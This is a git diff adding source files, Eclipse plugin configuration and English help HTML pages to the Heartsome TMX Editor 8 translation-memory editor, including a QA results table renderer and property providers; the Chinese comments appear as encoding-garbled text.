logger.error(Messages.getString("view.QAResultViewer.LOGG.dataInpuError"), e); + } + } + } + + + @Override + public void clearTableData() { + dataList.clear(); + tableModel.textRenderer.clearRowHeiMap(); + table.redraw(); + } + + /** + * åŒå‡»å®šä½ + */ + private void locationRow(){ + int[] selectRow = table.getRowSelection(); + + if (selectRow.length <= 0) { + return; + } + // 获å–第一行选择的值 + QAResultBean bean = dataList.get(selectRow[0] - 1); + + if (nattable == null) { + IWorkbenchPage workbenchPage = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + IViewPart view = workbenchPage.findView(TmxEditorViewer.ID); + if (view == null) { + return; + } + TmxEditorViewer tmxEditorViewer = (TmxEditorViewer) view; + editor = tmxEditorViewer.getTmxEditor(); + if (editor == null) { + return; + } + nattable = editor.getTmxEditorImpWithNattable(); + } + + if (nattable != null && !nattable.isDispose()) { + // 获å–第一行选择的值 + // UNDO 这里应该通过 tuid è¿›è¡Œå®šä½ + editor.resetFilterBeforLocation(qaControl.getOriginalSrcLang(), qaControl.getOriginalTgtLang()); + nattable.selectCell(nattable.getTgtColumnIndex(), Integer.parseInt(bean.getLineNumber()) - 1); + } + } + + + + /** + * 控制 ktable çš„æ•°æ®æ˜¾ç¤º + * @author robert + * + */ + private class KtableModel extends KTableDefaultModel{ + private Map belongMap = new HashMap(); + + private final FixedCellRenderer fixedRenderer = new FixedCellRenderer( + FixedCellRenderer.STYLE_FLAT | TextCellRenderer.INDICATION_FOCUS_ROW); + + public final TextRenderer textRenderer = new TextRenderer(); + + public KtableModel() { + initialize(); + } + + public int getFixedHeaderColumnCount() { + return 0; + } + + public int getFixedHeaderRowCount() { + return 1; + } + + public int getFixedSelectableColumnCount() { + return 0; + } + + public int getFixedSelectableRowCount() { + return 0; + } + + public int getRowHeightMinimum() { + return 20; + } + + public boolean isColumnResizable(int col) { + // 第一列ä¸å…许更改列宽 + return !(col == 0); + } + + public boolean isRowResizable(int arg0) { + return false; + } + + public KTableCellEditor doGetCellEditor(int arg0, int arg1) { + return null; + } + + public int getInitialRowHeight(int row) { + if (row==0) { + return 22; + }else { + return 50; + } + } + + public KTableCellRenderer doGetCellRenderer(int col, int row) { + if (isFixedCell(col, row)) { + return fixedRenderer; + } else { + return textRenderer; + } + } + + public void doSetContentAt(int arg0, int arg1, Object arg2) { + // do nothing + } + + public int doGetColumnCount() { + return 4; + } + + public Object doGetContentAt(int col, int row) { + if (row == 0) { + switch (col) { + case 0: + return Messages.getString("view.QAResultViewer.columnNameType"); + case 1: + return Messages.getString("view.QAResultViewer.columnNameLine"); + case 2: + return Messages.getString("view.QAResultViewer.columnNameSrcText"); + case 3: + return Messages.getString("view.QAResultViewer.columnNameTgtText"); + default: + return ""; + } + }else { + if (dataList.size() > 0) { + QAResultBean bean = dataList.get(row - 1); + switch (col) { + case 0: + return bean.getQaTypeText(); + case 1: + return bean.getLineNumber(); + case 2: + return bean.getSrcContent() == null ? "" : bean.getSrcContent(); + case 3: + return bean.getTgtContent() == null ? "" : bean.getTgtContent(); + default: + return ""; + } + }else { + return ""; + } + } + } + + @Override + public int doGetRowCount() { + return dataList.size() + 1; + } + + @Override + public int getInitialColumnWidth(int col) { + table.getVerticalBar().getSize(); + int lastWidth = table.getBounds().width - table.getVerticalBar().getSize().x; + switch (col) { + case 0: + return (int)(lastWidth * 0.09); + case 1: + return (int)(lastWidth * 0.05); + case 2: + return (int)(lastWidth * 0.43); + case 3: + return (int)(lastWidth * 0.43); + case 4: + default: + return 0; + } + } + + + @Override + public Point doBelongsToCell(int col, int row) { + if (isFixedCell(col, row)){ + return new Point(col, row); + } + QAResultBean bean = dataList.get(row - 1); + + if (bean.getMergeID() != null && !bean.getMergeID().isEmpty()) { + if (belongMap.get(bean.getMergeID()) != null) { + if (col < 1) { + if (row <= belongMap.get(bean.getMergeID())) { + belongMap.put(bean.getMergeID(), row); + }else { + return new Point(col, belongMap.get(bean.getMergeID())); + } + } + }else { + belongMap.put(bean.getMergeID(), row); + } + } + return new Point(col, row); + } + } + + + /** + * 级别列的 renderer,主è¦ç”¨äºŽç»˜ç”»å›¾ç‰‡ã€‚ + * @author robert 2013-10-24 + */ + private class TextRenderer implements KTableCellRenderer { + protected Display display; + protected PlaceHolderEditModeBuilder placeHolderBuilder = new PlaceHolderEditModeBuilder(); + protected XliffInnerTagFactory innerTagFactory = new XliffInnerTagFactory(placeHolderBuilder); + protected InnerTagRender tagRender = new InnerTagRender(); + + private final int topPadding = TmxEditorConstanst.SEGMENT_TOP_MARGIN; + private final int rightPadding = TmxEditorConstanst.SEGMENT_RIGHT_MARGIN; + private final int bottomPadding = TmxEditorConstanst.SEGMENT_BOTTOM_MARGIN; + private final int leftPadding = TmxEditorConstanst.SEGMENT_LEFT_MARGIN; + private final int lineSpace = TmxEditorConstanst.SEGMENT_LINE_SPACING; + private Color borderColor = null; + + + private Map rowHeightMap = new HashMap(); + + public TextRenderer() { + display = Display.getCurrent(); + borderColor = display.getSystemColor(SWT.COLOR_GRAY); + } + + public int getOptimalWidth(GC gc, int col, int row, Object content, + boolean fixed, KTableModel model) { + // UNDO 这个方法有什么用?到现在为止还ä¸æ™“得,我哪个去。 +// if (col == 2) { +// System.out.println(Math.max(gc.stringExtent(content.toString()).x + 8, 20)); +// +// String text = SWTX.wrapText(gc, content.toString(), model.getRowHeight(row)-6); +// int w = SWTX.getCachedStringExtent(gc, text).y; +// w+=6; +// System.out.println(w); +// return w; +// +// } +// return Math.max(gc.stringExtent(content.toString()).x + 8, 20); + return 100; + } + + public void drawCell(GC gc, Rectangle rect, int col, int row, + Object content, boolean focus, boolean fixed, boolean clicked, + KTableModel model) { + Color backColor; + + if (focus) { + backColor = display.getSystemColor(SWT.COLOR_LIST_SELECTION); + } else { + backColor = display.getSystemColor(SWT.COLOR_LIST_BACKGROUND); + } + Color oldForgeColor = gc.getForeground(); + + if (col == 2 || col == 3) { + innerTagFactory.reset(); + TextLayout layout = new TextLayout(display); + layout.setWidth(model.getColumnWidth(col) - leftPadding - rightPadding); + + String displayText = InnerTagUtil.resolveTag(innerTagFactory.parseInnerTag((String) content)); + + gc.setBackground(backColor); + gc.fillRectangle(rect); + gc.setForeground(borderColor); + // 最åŽä¸€åˆ—ä¸ç”»å³è¾¹ + if (col != 3) { + gc.drawLine(rect.x + rect.width, rect.y, rect.x + rect.width, rect.height + rect.y); + } + gc.drawLine(rect.x, rect.y + rect.height, rect.x + rect.width, rect.y + rect.height); + gc.setForeground(oldForgeColor); + layout.setTabs(new int[]{17}); + layout.setText(displayText); + + List innerTagBeans = innerTagFactory.getInnerTagBeans(); + for (InnerTagBean innerTagBean : innerTagBeans) { + String placeHolder = placeHolderBuilder.getPlaceHolder(innerTagBeans, innerTagBeans.indexOf(innerTagBean)); + int start = displayText.indexOf(placeHolder); + if (start == -1) { + continue; + } + TextStyle style = new TextStyle(); + Point point = tagRender.calculateTagSize(innerTagBean); + style.metrics = new GlyphMetrics(point.y, 0, point.x + lineSpace * 2); + layout.setStyle(style, start, start + placeHolder.length() - 1); + } + layout.draw(gc, rect.x + leftPadding, rect.y + topPadding); + + int curHeight = layout.getBounds().height + topPadding + bottomPadding; + if (rowHeightMap.get(row) == null || (rowHeightMap.get(row) != null && curHeight > rowHeightMap.get(row))) { + rowHeightMap.put(row, curHeight); + } + + // UNDO 这里控制自动æ¢è¡Œçš„,还需è¦æ›´å¥½çš„设计模å¼ã€‚ + if (col == 3) { + if (rowHeightMap.get(row) != model.getRowHeight(row)) { + model.setRowHeight(row, rowHeightMap.get(row)); + table.redraw(); + } + } + + for (InnerTagBean innerTagBean : innerTagBeans) { + String placeHolder = placeHolderBuilder.getPlaceHolder(innerTagBeans, + innerTagBeans.indexOf(innerTagBean)); + int start = displayText.indexOf(placeHolder); + if (start == -1) { + continue; + } + Point p = layout.getLocation(start, false); + int x = rect.x + p.x + leftPadding; + x += lineSpace; + + Point tagSize = tagRender.calculateTagSize(innerTagBean); + int lineIdx = layout.getLineIndex(start); + Rectangle r = layout.getLineBounds(lineIdx); + int y = rect.y + p.y + topPadding + r.height / 2 - tagSize.y / 2; + tagRender.draw(gc, innerTagBean, x, y); + } + + layout.dispose(); + }else { + gc.setBackground(backColor); + gc.fillRectangle(rect); + gc.setForeground(borderColor); + gc.drawLine(rect.x + rect.width, rect.y, rect.x + rect.width, rect.height + rect.y); + gc.drawLine(rect.x, rect.y + rect.height, rect.x + rect.width, rect.y + rect.height); + gc.setForeground(oldForgeColor); + String text = SWTX.wrapText(gc, content.toString(), model.getColumnWidth(col) - 2); + gc.drawText(text, rect.x + leftPadding, rect.y + topPadding, true); + int curHeight = gc.textExtent(text).y + topPadding + bottomPadding; + + if (rowHeightMap.get(row) == null || (rowHeightMap.get(row) != null && curHeight > rowHeightMap.get(row))) { + rowHeightMap.put(row, curHeight); + } + } + } + + public void clearRowHeiMap(){ + rowHeightMap.clear(); + } + } + +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/TmxEditorOpenCloseListener.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/TmxEditorOpenCloseListener.java new file mode 100644 index 0000000..716ea72 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/TmxEditorOpenCloseListener.java @@ -0,0 +1,35 @@ +/** + * OpenTmxListener.java + * + * Version information : + * + * Date:2013-7-3 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.view; + +import net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess; + +/** + * TmxEditor 打开/å…³é—­ç›‘å¬ + * @author Jason + * @version + * @since JDK1.6 + */ +public interface TmxEditorOpenCloseListener { + /** + * TmxEditor 打开 TMX file/DB åŽé€šçŸ¥ç›‘å¬è€… + * @param dataAccess + * {@link AbstractTmxDataAccess}; + */ + public void editorOpened(AbstractTmxDataAccess dataAccess); + + /** + * TmxEditor 关闭 TMX file/DB åŽé€šçŸ¥ç›‘å¬è€… ; + */ + public void editorClosed(); +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/provider/PropertiesLablerProvider.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/provider/PropertiesLablerProvider.java new file mode 100644 index 0000000..338c307 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/provider/PropertiesLablerProvider.java @@ -0,0 +1,102 @@ +package net.heartsome.cat.te.tmxeditor.view.provider; + +import net.heartsome.cat.common.bean.TmxNote; +import net.heartsome.cat.common.bean.TmxProp; +import net.heartsome.cat.common.util.TextUtil; + +import org.eclipse.jface.viewers.ILabelProviderListener; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableItem; + +public class PropertiesLablerProvider implements ITableLabelProvider { + + private Table table; + + public PropertiesLablerProvider() { + + } + + /** + * 需è¦åºå·åˆ—,请使用此构造方法 + * @param table + * ä¼ å…¥table 的实例 + */ + public PropertiesLablerProvider(Table table) { + this.table = table; + } + + @Override + public void addListener(ILabelProviderListener listener) { + // TODO Auto-generated method stub + + } + + @Override + public void dispose() { + // TODO Auto-generated method stub + + } + + @Override + public boolean isLabelProperty(Object element, String property) { + // TODO Auto-generated method stub + return false; + } + + @Override + public void removeListener(ILabelProviderListener listener) { + // TODO Auto-generated method stub + + } + + @Override + public Image getColumnImage(Object element, int columnIndex) { + // TODO Auto-generated method stub + return null; + } + + @Override + public String getColumnText(Object element, int columnIndex) { + if (element instanceof String[]) { + String[] kv = (String[]) element; + switch (columnIndex) { + case 0: + return kv[0]; + case 1: + return kv[1]; + case 3: + return kv.length > 2 ? kv[2] : ""; + default: + return "unknown"; + } + } else if (element instanceof TmxNote) { + TmxNote note = (TmxNote) element; + switch (columnIndex) { + case 0: + int no = 0; + for (TableItem item : table.getItems()) { + no++; + if (item.getText().isEmpty()) { + break; + } + } + return String.valueOf(no++); + case 1: + return note.getContent(); + } + } else if (element instanceof TmxProp) { + TmxProp prop = (TmxProp) element; + switch (columnIndex) { + case 0: + return prop.getName(); + case 1: + return prop.getValue(); + case 2: + return String.valueOf(prop.getDbPk()); + } + } + return String.valueOf(columnIndex); + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/provider/TuPropContentProvider.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/provider/TuPropContentProvider.java new file mode 100644 index 0000000..5b07c34 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/provider/TuPropContentProvider.java @@ -0,0 +1,115 @@ +package net.heartsome.cat.te.tmxeditor.view.provider; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.TmxNote; +import net.heartsome.cat.common.bean.TmxProp; +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.te.tmxeditor.view.PropertiesView; +import net.heartsome.cat.te.tmxeditor.view.PropertiesView.TableViewerInput; + +import org.eclipse.jface.viewers.IStructuredContentProvider; +import org.eclipse.jface.viewers.Viewer; + +public class TuPropContentProvider implements IStructuredContentProvider { + + @Override + public void dispose() { + + } + + @Override + public void inputChanged(Viewer viewer, Object oldInput, Object newInput) { + + } + + @Override + public Object[] getElements(Object inputElement) { + + List list = new ArrayList(); + if (inputElement instanceof TableViewerInput) { + TableViewerInput input = (TableViewerInput) inputElement; + + switch (input.category) { + case PropertiesView.TU_ATTRS: + TmxTU tu = input.selection == null || input.selection.getDisplayTu() == null ? new TmxTU() : input.selection.getDisplayTu(); + // list.add(new String[] { "tuid", tu.getTuId() == null ? "" : tu.getTuId() }); + list.add(new String[] { "creationid", tu.getCreationUser() == null ? "" : tu.getCreationUser() }); + list.add(new String[] { "creationdate", tu.getCreationDate() == null ? "" : DateUtils.formatDateFromUTC( + DateUtils.formatStringTime(tu.getCreationDate())) }); + list.add(new String[] { "changeid", tu.getChangeUser() == null ? "" : tu.getChangeUser() }); + list.add(new String[] { "changedate", tu.getChangeDate() == null ? "" : DateUtils.formatDateFromUTC( + DateUtils.formatStringTime(tu.getChangeDate())) }); + list.add(new String[] { "creationtool", tu.getCreationTool() == null ? "" : tu.getCreationTool() }); + list.add(new String[] { "creationtoolversion", + tu.getCreationToolVersion() == null ? "" : tu.getCreationToolVersion() }); + break; + case PropertiesView.TUV_ATTRS: + TmxSegement seg = input.selection == null || input.selection.getDisplayTu() == null ? new TmxSegement() : + input.selection.getSelectedColumn() > 1 ? input.selection.getDisplayTu().getTarget() : input.selection.getDisplayTu().getSource(); + list.add(new String[] { "creationid", seg.getCreationUser() == null ? "" : seg.getCreationUser() }); + list.add(new String[] { "creationdate", seg.getCreationDate() == null ? "" : DateUtils.formatDateFromUTC( + DateUtils.formatStringTime(seg.getCreationDate())) }); + list.add(new String[] { "changedate", seg.getChangeDate() == null ? "" : DateUtils.formatDateFromUTC( + DateUtils.formatStringTime(seg.getChangeDate())) }); + list.add(new String[] { "changeid", seg.getChangeUser() == null ? "" : seg.getChangeUser() }); + list.add(new String[] { "creationtool", seg.getCreationTool() == null ? "" : seg.getCreationTool() }); + list.add(new String[] { "creationtoolversion", + seg.getCreationToolVersion() == null ? "" : seg.getCreationToolVersion() }); + break; + case PropertiesView.TU_NODE_NOTE: + Object[] obj = new Object[5]; + List notes = null; + if (input.selection != null && input.selection.getDisplayTu() != null) { + notes = input.selection.getDisplayTu().getNotes(); + } + if (notes == null) { + for (int i = 0; i < obj.length; i++) { + obj[i] = new String[]{"", ""}; + } + } else if (notes.size() < 5) { + int i = 0; + while (i < notes.size()) { + obj[i] = notes.get(i); + i++; + } + while (i < 5) { + obj[i] = new String[]{"", ""}; + i++; + } + } else { + obj = notes.toArray(); + } + return obj; + case PropertiesView.TU_NODE_PROPS: + Object[] obj2 = new Object[5]; + List props = null; + if (input.selection != null && input.selection.getDisplayTu() != null) { + props = input.selection.getDisplayTu().getProps(); + } + if (props == null) { + for (int i = 0; i < obj2.length; i++) { + obj2[i] = new String[]{"", ""}; + } + } else if (props.size() < 5) { + int i = 0; + while (i < props.size()) { + obj2[i] = props.get(i); + i++; + } + while (i < 5) { + obj2[i] = new String[]{"", ""}; + i++; + } + } else { + obj2 = props.toArray(); + } + return obj2; + } + } + return list.toArray(); + } +} diff --git a/te/net.heartsome.cat.te.ui.help/.classpath b/te/net.heartsome.cat.te.ui.help/.classpath new file mode 100644 index 0000000..8a8f166 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/.project b/te/net.heartsome.cat.te.ui.help/.project new file mode 100644 index 0000000..d0c1cf2 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.te.ui.help + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/te/net.heartsome.cat.te.ui.help/.settings/org.eclipse.jdt.core.prefs b/te/net.heartsome.cat.te.ui.help/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..2e4e84e --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Aug 30 11:19:52 CST 2013 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 +org.eclipse.jdt.core.compiler.compliance=1.6 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.6 diff --git a/te/net.heartsome.cat.te.ui.help/META-INF/MANIFEST.MF b/te/net.heartsome.cat.te.ui.help/META-INF/MANIFEST.MF new file mode 100644 index 0000000..ec4ce3c --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/META-INF/MANIFEST.MF @@ -0,0 +1,12 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TE UI Help +Bundle-SymbolicName: net.heartsome.cat.te.ui.help;singleton:=true +Bundle-Version: 8.0.0.R8b_v20131210 +Bundle-Activator: net.heartsome.cat.te.ui.help.Activator +Require-Bundle: net.heartsome.cat.common.core;bundle-version="8.0.3", + org.eclipse.help.ui;bundle-version="3.5.100" +Bundle-ActivationPolicy: lazy +Bundle-Localization: plugin +Bundle-RequiredExecutionEnvironment: JavaSE-1.6 +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/te/net.heartsome.cat.te.ui.help/build.properties b/te/net.heartsome.cat.te.ui.help/build.properties new file mode 100644 index 0000000..570d011 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/build.properties @@ -0,0 +1,11 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + html/,\ + img/,\ + plugin_en.properties,\ + plugin_zh.properties,\ + toc/,\ + plugin.properties diff --git a/te/net.heartsome.cat.te.ui.help/helpDoc/HSTE8_Help_CN.pdf b/te/net.heartsome.cat.te.ui.help/helpDoc/HSTE8_Help_CN.pdf new file mode 100644 index 0000000..7e03194 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/helpDoc/HSTE8_Help_CN.pdf differ diff --git a/te/net.heartsome.cat.te.ui.help/helpDoc/HSTE8_Help_EN.pdf b/te/net.heartsome.cat.te.ui.help/helpDoc/HSTE8_Help_EN.pdf new file mode 100644 index 0000000..7a6be18 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/helpDoc/HSTE8_Help_EN.pdf differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/ch01.html b/te/net.heartsome.cat.te.ui.help/html/en/ch01.html new file mode 100644 index 0000000..36447b2 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/en/ch01.html @@ -0,0 +1,312 @@ + + + +Welcome to TMX Editor 8 + + + + + + + + +

    +
    +
    +
    +

    +Welcome to Heartsome TMX Editor 8

    +
    +
    +
    + + + +

    + +

    + + +

    +What's new in + Heartsome TMX Editor 8 +

    + + +

    +Getting Started +

    + + +

    +    Getting Started +

    + + +

    +Settings +

    + + +

    +    System Preferences +

    + + +

    +    Custom Shortcuts +

    + + +

    +    Network Connection Settings +

    + + +

    +View +

    + + +

    +    Views +

    + + +

    +    Change UI +

    + + +

    +    Editing View +

    + + +

    +    QA View +

    + + +

    +    Attributes Editor View +

    + + +

    +Editing TMX files +

    + + +

    +     Create a standard TMX + +

    + + +

    +    Editing multilingual TMX + files +

    + + +

    +        How to handle multilingual TMX + files +

    + + +

    +        Editing the source text and + translation +

    + + +

    +        Editing TU attributes +

    + + +

    +        Editing translation unit comments + +

    + + +

    +TMX Advanced Editing +

    + + +

    +    Split and merge TMX files +

    + + +

    +    Change language code +

    + + +

    +    Delete the specified + language +

    + + +

    +    Delete all tags +

    + + +

    +    Clean up TMX redundant + content +

    + + +

    +Editing a Heartsome Translation Studio 8 + TM +

    + + +

    +     How to + connect to a TM +

    + + +

    +    Support for multilingual TM + editing +

    + + +

    +        How to handle multilingual + TM +

    + + +

    +        Edit the source text and the + translation +

    + + +

    +        Edit TU attributes +

    + + +

    +        Edit comments of translation + units +

    + + +

    +        Cleaning up TM redundant content +

    + + +

    +Search and Filter +

    + + +

    +    Keyword search +

    + + +

    +    Filter +

    + + +

    +    Customizing filters +

    + + +

    +QA +

    + + +

    +    Selecting QA check items +

    + + +

    +    Performing QA and generating QA + reports +

    + + +

    +    How to correct errors from the QA + report +

    + + +

    +Utilities +

    + + +

    +    Converting TMX files to other file + formats +

    + + +

    +    Converting other file formats to + TMX +

    + + +

    +    File encoding converter +

    + + +

    +Version and License +

    + + +

    +    Version Introduction +

    + + +

    +    About Licensing +

    + + +

    +    How to activate the product +

    + +

    +    How to deactivate the product +

    + +

    +Glossary +

    + + +

    +Copyright +

    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/en/ch02.html b/te/net.heartsome.cat.te.ui.help/html/en/ch02.html new file mode 100644 index 0000000..78ab3c6 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/en/ch02.html @@ -0,0 +1,119 @@ + + + +What's new in Heartsome TMX Editor 8 + + + + + + + + +
    +
    +
    +
    +

    +What's new in Heartsome TMX Editor 8

    +
    +
    +
    + + + +

    The following is a complete list of new features in this + release:

    + + + + + +
    +
    +
    +High performance TMX editing and maintenance
    +
    +

        TMX source text and translation editing

    +

        TU attributes editing

    +

        TU comments editing

    +

        Keyword search

    +

        Built-in filters

    +
    +
    +Conversion TMX to and from other file formats
    +
    +

        Conversion of TMX to DOCX / XLSX / TXT / TBX / HSTM

    +

        Conversion of DOCX / XLSX / TXT / TBX / HSTM to TMX

    +
    +
    +TMX QA
    +
    +

        Extensive QA checks

    +

        QA reports

    +

        Work directly with QA results

    +
    +
    +Editing and maintenance of Heartsome Translation Studio 8 + TM
    +
    +

        TM editing of both source text and translation

    +

        TU attributes editing

    +

        TU comments editing

    +

        Keyword search

    +

        Built-in filters

    +
    +
    +Redundant contents cleanup of TMX and Heartsome Translation + Studio 8 TM
    +
    +

        Built-in batch cleanup of redundant content

    +
    +
    +
    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/en/ch03.html b/te/net.heartsome.cat.te.ui.help/html/en/ch03.html new file mode 100644 index 0000000..a2649f5 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/en/ch03.html @@ -0,0 +1,611 @@ + + + +Getting Started + + + + + + + + +
    +
    +
    +
    +

    +Getting Started

    +
    +
    +
    + + + +

    The following tells you how to get started with and configure + Heartsome TMX Editor 8.

    + + +
    +
    +
    +Getting Started
    +
    +

    This introduces you to Heartsome Translation Studio 8 TM and + shows you how to quickly edit TMX files.

    +
    +
      +
    • + +

      +To quickly edit a TMX file: + +

      + + +

      1. Select File > Open TMX, then select a TMX file from + the pop-up dialog box.

      + + +

      2. After your TMX file is open in the editor, click any + cell to edit.

      + + +

      3. Every time you click on a segment, the Attributes + Editor panel will display the attribute information of the + currently selected segment. You can edit attribute information using the + Add/Edit/Delete button.

      + + +

      4. When you edit the TMX, remember to click on + the button or press CTRL + S to save your + changes. But even without doing this, your changes will not be + lost because they are cached.

      + + +

      5, Any changes to attributes will be saved automatically + without you having to save them manually.

      + +
    • +
    • + +

      +To quickly edit a Heartsome + Translation Studio 8 TM +

      + + +

      1. Select File > Connect to TM, then select a TM + type.

      + + +

      When you select a File-based TM, you can browse to the + directory where TM is saved. When you select a Server-based TM, + you will have to enter the IP address, port, username, password + etc., to connect to your desired server-based TM

      + + +

      3. You can edit the connected Heartsome TM in the same way + as editing a TMX file.

      + + +

      Changes to a Heartsome TM will be saved in real time, + without having to manually save.

      + +
    • +
    +
    +
    +
    +System Parameter Setting
    +
    +

    In System settings, you can + set the frequency of Auto Update, + and change the User Interface + Language, Fonts and your + current Username.

    +
    +
      +
    • + +

      +Auto Update: Use this to + periodically check for updates on Heartsome's server.

      + +
    • +
    • + +

      +User Interface Language: + English and Simplified Chinese UIs are available.

      + +
    • +
    • + +

      +Username:Your username is + used as the default changeid for TUsin TMX files.

      + +
    • +
    +
    +
    +
    +Custom Shortcuts
    +
    +

    You can customize shortcuts for any function. To do + this:

    +

    1. Click on the shortcut​ + field of the corresponding function to enter edit + mode.

    +

    2. Press your desired shortcut key combination on the + keyboard.

    +

    3. Click anywhere else in the interface to automatically exit + edit mode.

    +

    4. Click the Apply or OK button to save your changes.

    +

    5. If your customized shortcuts conflict with other shortcuts, + the conflicts will be highlighted in red.

    +
    +
    +Network Connection Settings
    +
    +

    In the Network Connection settings, you can configure a proxy + server for your Internet connection. Choose one of the following + proxy server configurations according to your actual + situation:

    +
    +
      +
    • + +

      +System default proxy:If + the proxy server has been configured in your operating system, + select the Native option.

      + +
    • +
    • + +

      +Custom + proxy:If you want to set up a proxy server + specifically for Heartsome TMX Editor 8, select the Manual + option. Then Click the proxy server type (HTTP, HTTPS or SOCKS) + under the Proxy entries, then + enter the proxy host address and port. You may need to enter a username and password depending on whether your proxy + server requires authentication.

      + + +

      In addition, you can also set some exceptions for host addresses. When you + access these host addresses, the software will connect to them + directly without the proxy server. The + exceptions usually include your + machine (localhost or 127.0.0.1) and LAN (192.168.*.*).

      + +
    • +
    +
    +
    +
    +About Views
    +
    +

    Heartsome TMX Editor 8 contains the following views:

    +

    + +

    +
    +
      +
    • + +

      Toolbar: Here you can find some shortcuts for commonly + used functions. You can also use the corresponding shortcut keys + to perform related functions.

      + +
    • +
    • + +

      Search and QA: Here you can find a keyword search and TMX + QA in two tabs.

      + +
    • +
    • + +

      Source and translation editor: This is the main editing + area where you can edit the source text and translations.

      + +
    • +
    • + +

      Attribute editor: Here you can edit all the TU + attributes.

      + +
    • +
    +
    +
    +
    +Change UI
    +
    +

    Select Tools > Options > System, then go to the User + Interface Language field to change the UI.

    +
    +
    +Editing View
    +
    +

    The Edit View consists of two views, one is Search and Filter, + and the other is the Editor. In the Search and Filter panel, you can + switch languages (if available) and search for keywords throughout + the TMX. You can also filter specific segments with the built-in and + customized filter.

    +

    +Note: The Search panel and Filter + panel function are independent from each other.

    +

    + +

    +
    +
      +
    • + +

      +Search: Here you can + switch languages and perform keyword searches.

      + +
    • +
    • + +

      +Filters: Choose between + built-in filters and custom filters.

      + +
    • +
    • + +

      +Editor: This the editing + area of the TMX.

      + +
    • +
    +
    +
    +
    +QA View
    +
    +

    The QA View consists of the QA Options and QA Results panels. + Double-clicking on QA result takes you straight to the relevant line + in the editor.

    +

    + +

    +
    +
    +Attributes Editor View
    +
    +

    In this panel, you can edit a TU's system attributes, custom + attributes, language-specific attributes and comments. The four + attributes groups are located in four different forms for viewing + and editing.

    +

    + +

    +
    +
    +How to create a standard TMX
    +
    +

    1. Select File > New TMX File, click the button or press Ctrl + N to open the New TMX + File dialog box.

    +

    2. Select "Save path", then set the source language and target + language for the new TMX. Click the OK button to complete the TMX + file creation.

    +

    3. Once the TMX has been successfully created, it will open, + but the TMX will be empty. You have to enter content according to + the TMX standard.

    +
    +
    +How to handle multilingual TMX files
    +
    +

    Heartsome TMX Editor 8 supports multilingual TMX files. You + can switch languages at any time for viewing and editing.

    +

    1. Open the multilingual TMX files.

    +

    2. As descripted in the Editor + View section above, you can switch source and target + languages as needed.

    +

    + +

    +

    3. Click the Search button to display the content of your + selected language pair.

    +
    +
